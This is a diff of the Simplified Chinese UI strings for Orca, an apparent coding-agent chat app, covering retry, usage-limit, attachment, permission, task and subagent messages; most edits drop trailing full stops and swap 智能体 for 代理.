+        "providerRetrying": "{{agent}} 遇到临时问题，正在重试",
+        "providerRetryingQuoted": "{{agent}} 正在重试：{{detail}}",
+        "providerRetryNumber": "第 {{attempt}} 次重试",
+        "providerRetryNumberOf": "第 {{attempt}} 次重试，共 {{maxRetries}} 次",
+        "providerRetryLastError": "上次错误：{{detail}}",
+        "usageLimitReached": "{{agent}} 已达到使用上限",
+        "usageLimitReachedNamed": "{{agent}} 已达到{{window}}上限",
         "usageLimitWindowSession": "会话",
         "usageLimitWindowWeekly": "每周",
         "usageLimitWindowWeeklyModel": "模型每周",
         "usageLimitWindowCredits": "额外用量",
-        "usageLimitResetsAt": "将在 {{when}} 重置。",
-        "usageLimitSendAfterReset": "重置后发送消息即可继续。",
-        "previousExitUnverifiable": "无法停止之前的 {{agent}}。",
-        "sessionNotRestored": "{{agent}} 无法重新打开之前的会话，因此此聊天将在新会话中继续。{{agent}} 不记得之前的消息。",
-        "agentCommandNotSignedIn": "请在运行此聊天的电脑上使用 `{{loginCommand}}` 登录 {{agent}}。",
-        "interactiveAgentNotSignedIn": "请在运行此聊天的电脑上启动 `{{loginCommand}}` 并使用 `{{slashCommand}}` 登录 {{agent}}。",
-        "agentNotSignedIn": "请登录 {{agent}}。",
-        "thenSendAgain": "然后再次发送消息。",
-        "runCommandWhenDone": "完成后再运行 /{{command}}。",
-        "commandAfterAnswer": "请先回答智能体的问题或审批，然后再运行 /{{command}}。",
-        "pluginInputRequired": "{{agent}} 已停止，因为“{{plugin}}”插件正在终端窗格中等待输入。请为聊天会话禁用该插件，或在 {{agent}} 终端中运行任务。"
+        "usageLimitResetsAt": "将在 {{when}} 重置",
+        "usageLimitSendAfterReset": "重置后发送消息即可继续",
+        "previousExitUnverifiable": "无法停止之前的 {{agent}}",
+        "sessionNotRestored": "{{agent}} 无法重新打开之前的会话，因此此聊天将在新会话中继续，{{agent}} 不记得之前的消息",
+        "agentCommandNotSignedIn": "请在运行此聊天的电脑上使用 `{{loginCommand}}` 登录 {{agent}}",
+        "interactiveAgentNotSignedIn": "请在运行此聊天的电脑上启动 `{{loginCommand}}` 并使用 `{{slashCommand}}` 登录 {{agent}}",
+        "agentNotSignedIn": "请登录 {{agent}}",
+        "thenSendAgain": "然后再次发送消息",
+        "runCommandWhenDone": "完成后再运行 /{{command}}",
+        "commandAfterAnswer": "请先回答代理的问题或审批，然后再运行 /{{command}}",
+        "pluginInputRequired": "{{agent}} 已停止，因为“{{plugin}}”插件正在终端窗格中等待输入。请为聊天会话禁用该插件，或在 {{agent}} 终端中运行任务。",
+        "providerUnavailable": "{{agent}} 因服务繁忙而无法回复。请选择其他模型，或稍等片刻后重新发送。",
+        "providerSafetyStopped": "{{agent}} 在安全检查后停止了此次回复。请检查您的请求后重新发送。",
+        "providerResponseFailed": "{{agent}} 未能完成此回复。打开详情了解更多信息。",
+        "selectedModel": "所选模型"
       },
       "writeNotice": {
-        "notDoneReadHistory": "无法加载此聊天的历史记录。",
-        "notDoneSend": "您的消息未发送。",
-        "tryAgainComposerSend": "请重新发送。",
-        "messageNotSaved": "无法保存您的消息。",
-        "notDoneStop": "智能体未停止。",
-        "notDoneStopTask": "后台任务未停止。",
-        "notDoneStopTasks": "后台任务未停止。",
-        "notDoneAnswer": "您的回答未发送。",
-        "notDoneOption": "设置未更改。",
-        "notDoneCommand": "命令未运行。",
-        "notDoneGoalChangeIncomplete": "未能完成更改目标。请查看聊天。",
-        "notDoneQueuedEdit": "你的编辑未保存。",
-        "restartFailed": "智能体无法重新启动。",
-        "capacity": "运行此聊天的计算机上的 Orca 已达到请求上限。请在那台计算机上更新 Orca，然后重试。",
-        "outcomeUnknown": "Orca 无法确认发生了什么。请查看聊天。",
-        "sendOutcomeLost": "Orca 无法确认你的消息已送达智能体。请查看聊天，如有需要请重新发送。",
+        "notDoneReadHistory": "无法加载此聊天的历史记录",
+        "notDoneSend": "您的消息未发送",
+        "tryAgainComposerSend": "请重新发送",
+        "messageNotSaved": "无法保存您的消息",
+        "notDoneStop": "智能体未停止",
+        "notDoneStopTask": "后台任务未停止",
+        "notDoneStopTasks": "后台任务未停止",
+        "notDoneAnswer": "您的回答未发送",
+        "notDoneOption": "设置未更改",
+        "notDoneCommand": "命令未运行",
+        "notDoneGoalChangeIncomplete": "未能完成更改目标。请查看聊天",
+        "notDoneQueuedEdit": "你的编辑未保存",
+        "restartFailed": "智能体无法重新启动",
+        "capacity": "运行此聊天的计算机上的 Orca 已达到请求上限，请在那台计算机上更新 Orca，然后重试",
+        "outcomeUnknown": "Orca 无法确认发生了什么，请查看聊天",
+        "sendOutcomeLost": "Orca 无法确认你的消息已送达代理，请查看聊天，如有需要请重新发送",
         "continuationSuperseded": "此聊天已有后续进展。请查看最新消息后再继续。",
-        "questionChanged": "此问题已被回答或已更改。",
-        "cancelNotSaved": "无法取消此问题或审批。",
-        "historyUnreadable": "Orca 无法读取此聊天的已保存历史记录。",
-        "historyUnusable": "无法加载此聊天。",
-        "historyUnavailable": "Orca 目前无法打开此聊天的历史记录。",
-        "savedByNewerOrca": "这些聊天由更新版本的 Orca 保存。",
-        "updateOrcaToKeepUsing": "请更新 Orca 以继续使用这些聊天。",
-        "chatSavedByNewerOrca": "此聊天由更新版本的 Orca 保存。",
-        "updateOrcaToOpenChat": "请更新 Orca 以打开它。",
-        "unsupported": "运行此聊天的计算机需要更新版本的 Orca。请在该计算机上更新 Orca 后重试。",
-        "notAvailable": "此聊天中无法使用此功能。",
-        "cannotRunHere": "Orca 无法在此处以聊天方式运行此智能体。",
-        "unreachable": "Orca 无法连接到智能体。",
-        "recordFailed": "Orca 无法将此内容保存到聊天历史记录中。",
-        "attachmentExpired": "此附件已过期。",
-        "reattachFile": "请将其移除后重新附加。",
+        "questionChanged": "此问题已被回答或已更改",
+        "cancelNotSaved": "无法取消此问题或审批",
+        "historyUnreadable": "Orca 无法读取此聊天的已保存历史记录",
+        "historyUnusable": "无法加载此聊天",
+        "historyUnavailable": "Orca 目前无法打开此聊天的历史记录",
+        "savedByNewerOrca": "这些聊天由更新版本的 Orca 保存",
+        "updateOrcaToKeepUsing": "请更新 Orca 以继续使用这些聊天",
+        "chatSavedByNewerOrca": "此聊天由更新版本的 Orca 保存",
+        "updateOrcaToOpenChat": "请更新 Orca 以打开它",
+        "unsupported": "运行此聊天的计算机需要更新版本的 Orca，请在该计算机上更新 Orca 后重试",
+        "notAvailable": "此聊天中无法使用此功能",
+        "cannotRunHere": "Orca 无法在此处以聊天方式运行此代理",
+        "unreachable": "Orca 无法连接到智能体",
+        "recordFailed": "Orca 无法将此内容保存到聊天历史记录中",
+        "attachmentExpired": "此附件已过期",
+        "reattachFile": "请将其移除后重新附加",
         "reattachFiles": "请将它们移除后重新附加。",
-        "conversationCleared": "此对话已被清除。",
-        "openCurrentConversation": "请打开当前对话以继续。",
-        "clearUnfinished": "上一次 /clear 未完成。",
-        "commandRunning": "/compact 或 /clear 仍在运行。",
-        "waitForCommand": "请等待 /compact 或 /clear 完成。",
-        "agentStarting": "智能体仍在启动。",
-        "waitForStart": "请等待智能体完成启动。",
-        "turnActive": "智能体仍在回复。",
-        "waitForTurn": "请等待智能体完成回复，或将其停止。",
-        "promptPending": "智能体正在等待您回答问题或审批。",
-        "answerFirst": "请先回答问题或审批。",
-        "backgroundTasksRunning": "后台任务仍在运行。",
-        "waitForBackgroundTasks": "请等待后台任务完成。",
-        "messagesUnsettled": "您之前发送的一条消息尚未确认。",
-        "settleEarlierMessage": "请等待之前的消息送达，或重试该消息。",
-        "queueTooLarge": "队列中等待的文本过多。",
-        "shrinkQueue": "请删除一条排队的消息，或等待其送达，然后重试。",
+        "conversationCleared": "此对话已被清除",
+        "openCurrentConversation": "请打开当前对话以继续",
+        "clearUnfinished": "上一次 /clear 未完成",
+        "commandRunning": "/compact 或 /clear 仍在运行",
+        "waitForCommand": "请等待 /compact 或 /clear 完成",
+        "agentStarting": "智能体仍在启动",
+        "waitForStart": "请等待智能体完成启动",
+        "turnActive": "智能体仍在回复",
+        "waitForTurn": "请等待智能体完成回复，或将其停止",
+        "promptPending": "智能体正在等待您回答问题或审批",
+        "answerFirst": "请先回答问题或审批",
+        "backgroundTasksRunning": "后台任务仍在运行",
+        "waitForBackgroundTasks": "请等待后台任务完成",
+        "messagesUnsettled": "您之前发送的一条消息尚未确认",
+        "settleEarlierMessage": "请等待之前的消息送达，或重试该消息",
+        "queueTooLarge": "队列中等待的文本过多",
+        "shrinkQueue": "请删除一条排队的消息，或等待其送达，然后重试",
         "messageTooLarge": "超过了单条消息 256 KB 的上限。",
-        "shortenMessage": "请缩短或拆分后再发送。",
-        "optionRejected": "智能体未接受此设置。",
-        "goalsUnsupported": "此智能体不支持目标。",
-        "agentRefused": "智能体拒绝了此请求。",
-        "ownerUnproven": "此聊天之前的智能体可能仍在运行。",
-        "reopenChat": "请重新打开聊天以再次检查。",
-        "terminalAgentHoldsChat": "此聊天仍在终端智能体中打开。",
-        "quitTerminalAgent": "请退出该智能体，以便在此处继续聊天。",
-        "hostReconciling": "Orca 重启后仍在检查此聊天。",
-        "waitMoment": "请稍候。",
-        "recordUnreadable": "Orca 无法读取此聊天的已保存状态。",
-        "chatNotFound": "Orca 找不到此聊天。",
-        "startNewChat": "请开始新的聊天以继续。",
-        "tryAgain": "请重试。",
-        "agentStillWorking": "智能体仍在工作。",
-        "runClearWhenDone": "完成后再运行 /clear。",
-        "clearAfterAnswer": "请先回答智能体的问题或审批，然后再运行 /clear。",
-        "runCompactWhenDone": "完成后再运行 /compact。",
-        "compactAfterAnswer": "请先回答智能体的问题或审批，然后再运行 /compact。",
-        "clearAfterRetry": "请先重试您之前的消息，然后再运行 /clear。",
-        "compactAfterRetry": "请先重试您之前的消息，然后再运行 /compact。",
-        "clearAfterSending": "您之前的消息仍在发送中。发送完成后再运行 /clear。",
-        "compactAfterSending": "您之前的消息仍在发送中。发送完成后再运行 /compact。",
-        "pendingWork": "在使用此命令之前，请等待挂起的工作和消息完成。"
+        "shortenMessage": "请缩短或拆分后再发送",
+        "optionRejected": "智能体未接受此设置",
+        "goalsUnsupported": "此智能体不支持目标",
+        "agentRefused": "智能体拒绝了此请求",
+        "ownerUnproven": "此聊天之前的智能体可能仍在运行",
+        "reopenChat": "请重新打开聊天以再次检查",
+        "terminalAgentHoldsChat": "此聊天仍在终端智能体中打开",
+        "quitTerminalAgent": "请退出该智能体，以便在此处继续聊天",
+        "hostReconciling": "Orca 重启后仍在检查此聊天",
+        "waitMoment": "请稍候",
+        "recordUnreadable": "Orca 无法读取此聊天的已保存状态",
+        "chatNotFound": "Orca 找不到此聊天",
+        "startNewChat": "请开始新的聊天以继续",
+        "tryAgain": "请重试",
+        "agentStillWorking": "代理仍在工作",
+        "runClearWhenDone": "完成后再运行 /clear",
+        "clearAfterAnswer": "请先回答代理的问题或审批，然后再运行 /clear",
+        "runCompactWhenDone": "完成后再运行 /compact",
+        "compactAfterAnswer": "请先回答代理的问题或审批，然后再运行 /compact",
+        "clearAfterRetry": "请先重试您之前的消息，然后再运行 /clear",
+        "compactAfterRetry": "请先重试您之前的消息，然后再运行 /compact",
+        "clearAfterSending": "您之前的消息仍在发送中，发送完成后再运行 /clear",
+        "compactAfterSending": "您之前的消息仍在发送中，发送完成后再运行 /compact",
+        "pendingWork": "在使用此命令之前，请等待挂起的工作和消息完成"
       },
       "composer": {
         "planMode": "规划",
@@ -18664,8 +19043,8 @@
         "previewSteer": "立即发送",
         "previewSteerQueued": "立即发送下一条",
         "alternateQueueHint": "{{shortcut}} 加入队列",
-        "noPty": "没有实时终端，请切回终端以重新连接。",
-        "locked": "输入正被另一台设备占用。",
+        "noPty": "没有实时终端，请切回终端以重新连接",
+        "locked": "输入正被另一台设备占用",
         "placeholder": "随心输入，@ 引用文件，/ 使用命令",
         "loadingFiles": "正在加载文件...",
         "noFiles": "没有匹配的文件",
@@ -18674,43 +19053,43 @@
         "startDictation": "开始听写",
         "stopDictation": "停止听写",
         "noSkills": "没有匹配的技能",
-        "localAttachmentUnsupported": "远程会话不支持本地附件。",
-        "attachFailed": "无法附加 {{files}}。",
-        "attachFailedBecause": "无法附加 {{files}}。{{reason}}",
+        "localAttachmentUnsupported": "远程会话不支持本地附件",
+        "attachFailed": "无法附加 {{files}}",
+        "attachFailedBecause": "无法附加 {{files}}，{{reason}}",
         "uploadingFile": "正在上传 {{name}}…",
         "removeAttachment": "移除附件",
         "pastedImageLabel": "粘贴的图片",
         "pastedTextLabel": "粘贴的文本",
         "pasteNotSavedLabel": "粘贴未保存",
-        "pasteNotSaved": "此粘贴内容未保存。请重新粘贴或将其移除。",
-        "pastedTextTooLarge": "此次粘贴会使消息超过单条消息 256 KB 的上限。请缩短后再粘贴。",
+        "pasteNotSaved": "此粘贴内容未保存。请重新粘贴或将其移除",
+        "pastedTextTooLarge": "此次粘贴会使消息超过单条消息 256 KB 的上限。请缩短后再粘贴",
         "imageUnavailable": "预览不可用",
-        "draftNotSaved": "此草稿尚未保存成功。Orca 会继续尝试。",
-        "imageNotBroughtBack": "无法随此草稿恢复 {{name}}。请重新附加或将其移除。",
-        "pastedImageNotBroughtBack": "无法随此草稿恢复这张粘贴的图片。请将其移除，如仍需要请重新粘贴。",
-        "removeImageToSend": "有一张图片无法恢复。请将其移除后再发送。",
-        "removeImagesToSend": "有些图片无法恢复。请将其移除后再发送。",
+        "draftNotSaved": "此草稿尚未保存成功，Orca 会继续尝试",
+        "imageNotBroughtBack": "无法随此草稿恢复 {{name}}，请重新附加或将其移除",
+        "pastedImageNotBroughtBack": "无法随此草稿恢复这张粘贴的图片，请将其移除，如仍需要请重新粘贴",
+        "removeImageToSend": "有一张图片无法恢复，请将其移除后再发送",
+        "removeImagesToSend": "有些图片无法恢复，请将其移除后再发送",
         "imageAttachAgainLabel": "重新附加",
         "pastedImageNotKeptLabel": "未保留",
         "imageNumber": "图片 #{{number}}",
         "imageReferenceMissing": "图片已移除",
-        "imagePasteFailed": "图片粘贴失败。",
-        "worktreeNotReady": "工作树未就绪 — 请稍后重试。",
-        "pasteUnavailable": "无法粘贴 — 此聊天当前不接受输入。",
+        "imagePasteFailed": "图片粘贴失败",
+        "worktreeNotReady": "工作树未就绪 — 请稍后重试",
+        "pasteUnavailable": "无法粘贴 — 此聊天当前不接受输入",
         "model": "模型",
         "effort": "推理强度",
         "fastMode": "快速模式",
         "speed": "速度",
         "thinking": "思考",
         "sessionOptions": "会话选项",
-        "chooseInAgentPicker": "在智能体选择器中选择…",
+        "chooseInAgentPicker": "在代理选择器中选择…",
         "searchModels": "搜索模型…",
-        "noModelsMatch": "没有符合搜索条件的模型。",
+        "noModelsMatch": "没有符合搜索条件的模型",
         "toggleOption": "切换{{value0}}",
         "pillAccessibleName": "{{value0}} {{value1}}",
-        "sentNotConfirmed": "已发送给智能体 — 尚未确认",
-        "setWhenSessionStarts": "请在会话开始时设置。",
-        "availableAfterSessionStarts": "会话开始后可用。",
+        "sentNotConfirmed": "已发送给代理 — 尚未确认",
+        "setWhenSessionStarts": "请在会话开始时设置",
+        "availableAfterSessionStarts": "会话开始后可用",
         "optionUpdateFailed": "无法更新选项",
         "optionValue": {
           "fast": "快速",
@@ -18732,66 +19111,66 @@
         "skillsUnavailableHost": "SSH 聊天中无法列出技能",
         "skillsLoadFailed": "无法加载技能",
         "retrySkills": "重试",
-        "skillCommandCollision": "也是技能名称 — 由智能体决定",
-        "skillMultipleSources": "{{sourceCount}} 个来源 — 由智能体处理",
+        "skillCommandCollision": "也是技能名称 - 由代理决定",
+        "skillMultipleSources": "{{sourceCount}} 个来源 - 由代理解析",
         "skillScopeProject": "项目",
         "skillScopePersonal": "个人",
         "skillScopeBuiltIn": "内置",
         "skillScopePlugin": "插件",
         "skillsLoaded": "技能已加载",
         "noCommands": "没有匹配的命令",
-        "imageSaving": "保存粘贴的图像...",
-        "pendingAttachmentLimit": "太多附件正在等待。在附加更多内容之前先完成创作。",
+        "imageSaving": "正在保存粘贴的图片…",
+        "pendingAttachmentLimit": "等待处理的附件过多，请完成消息编辑后再附加更多文件",
         "viewAttachment": "查看图片",
         "imagePreviewUnavailable": "预览不可用",
         "copyImage": "复制图片",
         "copyImageFailed": "无法复制图片",
-        "copyImageTooLarge": "图片太大，无法复制。",
+        "copyImageTooLarge": "图片太大，无法复制",
         "imageCopied": "已复制图片",
-        "workspaceAttachmentMismatch": "文件只能附加到其源工作区。",
-        "attachmentOwnerChanged": "此工作区在附加时更改了主机 - 再次删除文件。",
-        "attachmentUnreadable": "无法读取删除的文件。",
-        "tooManyAttachments": "每次最多附加 {{value0}} 个文件。",
+        "workspaceAttachmentMismatch": "文件只能附加到其来源工作区",
+        "attachmentOwnerChanged": "添加附件时此工作区切换了主机，请重新拖放文件",
+        "attachmentUnreadable": "无法读取所拖放的文件",
+        "tooManyAttachments": "每次最多附加 {{value0}} 个文件",
         "permissions": "权限",
         "permissionAsk": "请求批准",
         "permissionAskDescription": "在设置未允许的编辑和命令前询问",
         "permissionAskSharedDescription": "在执行尚未获准的编辑或命令前询问",
         "permissionAcceptEdits": "接受编辑",
-        "permissionAcceptEditsDescription": "批准文件编辑和文件命令；其余操作会询问",
-        "permissionAcceptEditsAntigravityDescription": "批准文件编辑；其余操作会询问",
+        "permissionAcceptEditsDescription": "批准文件编辑和文件命令，其余操作会询问",
+        "permissionAcceptEditsAntigravityDescription": "批准文件编辑，其余操作会询问",
         "permissionAuto": "替我批准",
         "permissionAutoDescription": "代你审核批准请求",
         "permissionFullAccess": "完全访问",
         "permissionFullAccessDescription": "编辑或运行命令前从不询问",
-        "permissionFullAccessCodexDescription": "从不询问；可以编辑任何文件并使用网络",
+        "permissionFullAccessCodexDescription": "从不询问，可以编辑任何文件并使用网络",
         "permissionFullAccessSharedDescription": "编辑或运行命令前从不询问",
-        "pasteFailed": "粘贴失败。",
-        "tooManySkills": "消息未发送给 {{agent}}。请将所选技能文件减少到最多 {{limit}} 个，然后重试。",
-        "commandAttachmentsUnsupported": "使用聊天会话命令前，请先移除附件。",
+        "pasteFailed": "粘贴失败",
+        "tooManySkills": "消息未发送给 {{agent}}，请将所选技能文件减少到最多 {{limit}} 个，然后重试",
+        "commandAttachmentsUnsupported": "使用聊天会话命令前，请先移除附件",
         "optionValueShort": {
           "minimal": "最小",
           "medium": "中",
           "xhigh": "极高"
         },
-        "sessionAttachmentsFailed": "{{agent}} 聊天无法打开。在聊天中使用“重试”，然后再次附加文件。",
-        "sessionAttachmentsStarting": "正在打开 {{agent}} 聊天。请等待聊天打开后再重新附加文件。",
+        "sessionAttachmentsFailed": "{{agent}} 聊天无法打开，请在聊天中点击重试，然后重新附加文件",
+        "sessionAttachmentsStarting": "{{agent}} 聊天仍在打开中，请等待其打开后再重新附加文件",
         "moreControls": "更多聊天控件",
         "exitPlanMode": "退出计划模式"
       },
       "tool": {
         "result": "结果",
-        "exitCode": "退出{{value0}}",
-        "milliseconds": "{{value0}}毫秒",
-        "failedCount": "{{value0}} 失败",
+        "exitCode": "退出码 {{value0}}",
+        "milliseconds": "{{value0}} 毫秒",
+        "failedCount": "{{value0}} 个失败",
         "failedCallsLabel": "失败的工具调用：{{value0}}",
         "interruptedCount": "{{value0}} 已中断",
         "interruptedCallsLabel": "已中断的工具调用：{{value0}}",
         "showFullOutput": "显示完整输出",
-        "fullOutputFailed": "无法加载完整输出。",
-        "fullOutputPartial": "正在显示 {{total}} 中的 {{shown}}。",
+        "fullOutputFailed": "无法加载完整输出",
+        "fullOutputPartial": "正在显示 {{total}} 中的 {{shown}}",
         "copyDiff": "复制差异",
-        "diffGap": "未显示线路",
-        "diffTruncated": "差异被截断",
+        "diffGap": "未显示的行",
+        "diffTruncated": "差异已截断",
         "row": {
           "running": "正在运行",
           "reading": "正在读取",
@@ -18810,7 +19189,7 @@
           "added": "添加了",
           "deleted": "删除了",
           "renamed": "重命名了",
-          "subagent": "子智能体",
+          "subagent": "子代理",
           "triedRead": "尝试读取",
           "triedEdit": "尝试编辑",
           "triedSearch": "尝试搜索",
@@ -18820,8 +19199,8 @@
         },
         "runBrowserOne": "使用了浏览器",
         "runPlanOne": "更新了计划",
-        "runPair": "{{value0}}并{{value1}}",
-        "runList": "{{value0}}并{{value1}}",
+        "runPair": "{{value0}} 和 {{value1}}",
+        "runList": "{{value0}}、{{value1}}",
         "runListSeparator": "、",
         "runLiveBrowserOne": "正在使用浏览器",
         "runLivePlanOne": "更新计划",
@@ -18852,7 +19231,7 @@
         "runLiveTool_other": "正在使用 {{count}} 个工具"
       },
       "status": {
-        "responding": "智能体正在回复",
+        "responding": "代理正在回复",
         "working": "处理中…",
         "stopping": "正在停止…",
         "queueAfterStop": "将消息加入队列，在停止后运行",
@@ -18865,8 +19244,6 @@
         "toggleDetails": "切换回合详情"
       },
       "jumpToLatest": "跳到最新消息",
-      "newRowsAnnouncement": "你离开期间有新消息",
-      "newRowsMarker": "新消息",
       "find": {
         "label": "在聊天中查找",
         "noResults": "没有结果",
@@ -18879,31 +19256,31 @@
         "showTerminal": "显示终端"
       },
       "resumeInNewChat": {
-        "hostUpdateRequired": "请更新此主机上的 Orca 以在聊天界面中继续。",
-        "notSavedYet": "{{agent}} 尚未保存此对话。请在它回复后重试。",
+        "hostUpdateRequired": "请更新此主机上的 Orca 以在聊天界面中继续",
+        "notSavedYet": "{{agent}} 尚未保存此对话，请在它回复后重试",
         "exitUnconfirmed": "{{agent}} 正在另一个终端中运行此对话。请在那里退出它或关闭该终端，然后重试。"
       },
       "state": {
         "loading": {
           "label": "正在加载聊天",
           "title": "正在加载对话…",
-          "subtitle": "正在读取智能体记录。"
+          "subtitle": "正在读取代理记录"
         },
         "error": {
           "title": "无法加载对话",
-          "subtitle": "无法读取记录。请切回终端继续工作。"
+          "subtitle": "无法读取记录，请切回终端继续工作"
         },
-        "pairHost": "配对主机以查看智能体聊天记录。",
+        "pairHost": "配对主机以查看代理聊天记录",
         "notAgent": {
           "title": "这里没有对话",
-          "subtitle": "此终端未运行可识别的编码智能体。"
+          "subtitle": "此终端未运行可识别的编码代理"
         },
         "empty": {
           "title": "开始与 {{value0}} 聊天",
-          "subtitle": "让 {{value0}} 检查代码、解释输出或进行修改。"
+          "subtitle": "让 {{value0}} 检查代码、解释输出或进行修改"
         }
       },
-      "stop": "停止智能体",
+      "stop": "停止代理",
       "copyMessage": {
         "copied": "已复制",
         "copy": "复制消息"
@@ -18924,11 +19301,11 @@
         "next": "下一步",
         "skip": "跳过",
         "sending": "正在发送…",
-        "terminalRequired": "在终端中回答这个 OMP 问题。",
+        "terminalRequired": "在终端中回答这个 OMP 问题",
         "openTerminal": "在终端中回答"
       },
       "approval": {
-        "needsNewerOrca": "此请求需要更新版本的 Orca。",
+        "needsNewerOrca": "此请求需要更新版本的 Orca",
         "title": "允许 {{value0}}？",
         "allow": "允许",
         "deny": "拒绝",
@@ -18938,7 +19315,7 @@
         "plan": {
           "file": "计划文件",
           "reviewTitle": "审阅建议的计划",
-          "refineHint": "优化计划会关闭审阅，以便你发送要更改的内容。"
+          "refineHint": "优化计划会关闭审阅，以便你发送要更改的内容"
         }
       },
       "imagePreview": {
@@ -18950,17 +19327,18 @@
         "title": "任务",
         "completed": "已完成",
         "inProgress": "进行中",
-        "pending": "待办的",
-        "empty": "没有任务",
-        "added": "添加了 {{task}}",
-        "removed": "删除了 {{task}}",
-        "started": "开始{{task}}",
+        "pending": "待处理",
+        "empty": "暂无任务",
+        "added": "已添加 {{task}}",
+        "removed": "已移除 {{task}}",
+        "started": "已开始 {{task}}",
         "finished": "已完成 {{task}}",
-        "reset": "标记为待处理：{{task}}",
+        "reset": "已标记为待处理：{{task}}",
         "updated": "已更新 {{task}}",
-        "unchanged": "任务不变",
-        "showAll": "完整任务清单",
-        "progress_other": "已完成 {{completed}}/{{count}} 项任务"
+        "unchanged": "任务未变更",
+        "showAll": "完整任务列表",
+        "progress_other": "已完成 {{completed}}/{{count}} 项任务",
+        "progress": "已完成 {{completed}} / {{total}} 个任务"
       },
       "turnDiff": {
         "partial": "部分差异",
@@ -18971,31 +19349,31 @@
       "receipt": {
         "unavailable": "所选答案不可用",
         "emptyAnswer": "空回答",
-        "cancelled": "取消",
+        "cancelled": "已取消",
         "resolved": "已解决",
-        "resolver": "回复于 {{device}}",
-        "cancelledBy": "于 {{device}} 取消",
+        "resolver": "已在 {{device}} 上回答",
+        "cancelledBy": "已在 {{device}} 上取消",
         "thisComputer": "此电脑",
         "computer": "电脑",
         "otherDevice": "其他设备"
       },
       "notices": {
         "contextCleared": "上下文已清除",
-        "compaction": "上下文压缩",
-        "details": "细节",
+        "compaction": "上下文已压缩",
+        "details": "详情",
         "plan": "计划",
-        "historyRepaired": "此聊天的部分历史记录无法加载。",
-        "historyItemTooLarge": "聊天的这一部分过大，无法显示。",
-        "continuedOutside": "已在此聊天之外继续。",
-        "continuedOutsideRewound": "已在此聊天之外继续。上方较早的回复已不在此对话的历史记录中。",
+        "historyRepaired": "此聊天的部分历史记录无法加载",
+        "historyItemTooLarge": "聊天的这一部分过大，无法显示",
+        "continuedOutside": "已在此聊天之外继续",
+        "continuedOutsideRewound": "已在此聊天之外继续。上方较早的回复已不在此对话的历史记录中",
         "stoppedBeforeStart": "已手动停止",
         "dismiss": "关闭",
         "copyError": "复制错误",
-        "orcaStopUpdate": "此回复进行期间，{{machine}} 上的 Orca 为更新而重新启动。",
-        "orcaStopQuit": "此回复进行期间，{{machine}} 上的 Orca 已关闭。",
-        "orcaStopCrash": "此回复进行期间，{{machine}} 上的 Orca 意外停止。",
-        "orcaStopRemote": "此回复进行期间，{{machine}} 上的 Orca 已停止。",
-        "orcaStopCanContinue": "你可以在此对话中继续。",
+        "orcaStopUpdate": "此回复进行期间，{{machine}} 上的 Orca 为更新而重新启动",
+        "orcaStopQuit": "此回复进行期间，{{machine}} 上的 Orca 已关闭",
+        "orcaStopCrash": "此回复进行期间，{{machine}} 上的 Orca 意外停止",
+        "orcaStopRemote": "此回复进行期间，{{machine}} 上的 Orca 已停止",
+        "orcaStopCanContinue": "你可以在此对话中继续",
         "orcaStopUnnamedServer": "远程服务器",
         "permissionDenied": "{{agent}} 拒绝了权限。查看详情。",
         "safetyReviewApproved": "{{agent}} 已批准此操作。查看详情。",
@@ -19007,30 +19385,30 @@
         "byteCount_other": "{{count}} 字节"
       },
       "backgroundTasks": {
-        "monitoring": "监控后台任务",
+        "monitoring": "正在监控后台任务",
         "stop": "停止",
-        "stopTask": "停止{{value0}}",
+        "stopTask": "停止 {{value0}}",
         "stopAll": "停止后台任务",
-        "agent": "后台智能体",
+        "agent": "后台代理",
         "workflow": "后台工作流程",
         "command": "后台命令",
-        "monitor": "后台监控",
+        "monitor": "后台监控任务",
         "task": "后台任务",
         "outputFile": "输出：{{value0}}",
-        "detailsUnavailable": "此会话的任务详细信息不可用。",
-        "countShellCommandOne": "1 个 shell 命令",
-        "stateWorking": "处理中",
-        "stateMonitoring": "监控",
-        "stateWaiting": "等待",
-        "stateBlocked": "被阻止",
-        "stateDone": "完毕",
+        "detailsUnavailable": "此会话无法获取任务详情",
+        "countShellCommandOne": "1 条 shell 命令",
+        "stateWorking": "工作中",
+        "stateMonitoring": "监控中",
+        "stateWaiting": "等待中",
+        "stateBlocked": "受阻",
+        "stateDone": "完成",
         "stateIdle": "已停止",
         "stateUnverifiable": "状态不可用",
         "reasonWaiting": "需要批准",
         "reasonBlocked": "失败",
-        "groupAgents": "智能体",
-        "groupShell": "Shell",
-        "groupMonitors": "监控",
+        "groupAgents": "代理",
+        "groupShell": "shell",
+        "groupMonitors": "监控任务",
         "groupWorkflows": "工作流程",
         "groupTasks": "任务",
         "countAgents_other": "{{count}} 个智能体",
@@ -19046,53 +19424,67 @@
         "stateDoneCount_other": "已完成：{{value0}}",
         "stateIdleCount_other": "已停止：{{value0}}",
         "stateUnverifiableCount_other": "状态不可用：{{value0}}",
+        "headerTotal": "{{value0}} 个后台任务",
+        "stateBlockedCount": "{{value0}} 被阻止",
+        "stateDoneCount": "{{value0}} 完毕",
+        "stateIdleCount": "{{value0}} 停止了",
+        "stateMonitoringCount": "{{value0}} 监控",
+        "stateUnverifiableCount": "{{value0}} 状态不可用",
+        "stateWaitingCount": "{{value0}} 等待",
+        "stateWorkingCount": "{{value0}} 处理中",
         "showAgent": "在对话中显示 {{value0}}"
       },
-      "railLabel": "您的留言",
+      "railLabel": "你的消息",
       "railImageMessage": "图片附件",
-      "railEmptyMessage": "信息",
+      "railEmptyMessage": "消息",
       "ask": {
         "awaiting": "等待用户输入：",
         "awaitingUnnamed": "等待用户输入",
-        "asked": "问：",
-        "questionCount_other": "{{count}} 个问题"
+        "asked": "已提问：",
+        "questionCount_other": "{{count}} 个问题",
+        "questionCount": "{{value0}} 个问题"
       },
       "subagents": {
         "state": {
           "completed": "已完成",
-          "working": "处理中",
-          "idle": "idle",
-          "failed": "失败的",
-          "stopped": "停止了",
+          "working": "工作中",
+          "idle": "空闲",
+          "failed": "失败",
+          "stopped": "已停止",
           "unverifiable": "状态不可用",
           "workingCount_other": "{{count}} 个处理中",
           "idleCount_other": "{{count}} 个空闲",
           "failedCount_other": "{{count}} 个失败",
           "stoppedCount_other": "{{count}} 个已停止",
-          "unverifiableCount_other": "{{count}} 个状态不可用"
+          "unverifiableCount_other": "{{count}} 个状态不可用",
+          "failedCount": "{{value0}} 个失败",
+          "idleCount": "{{value0}} 个空闲",
+          "stoppedCount": "{{value0}} 个已停止",
+          "unverifiableCount": "{{value0}} 状态不可用",
+          "workingCount": "{{value0}} 个工作中"
         },
-        "tokens": "{{value0}} token",
-        "unnamed": "子智能体",
+        "tokens": "{{value0}} 个 token",
+        "unnamed": "子代理",
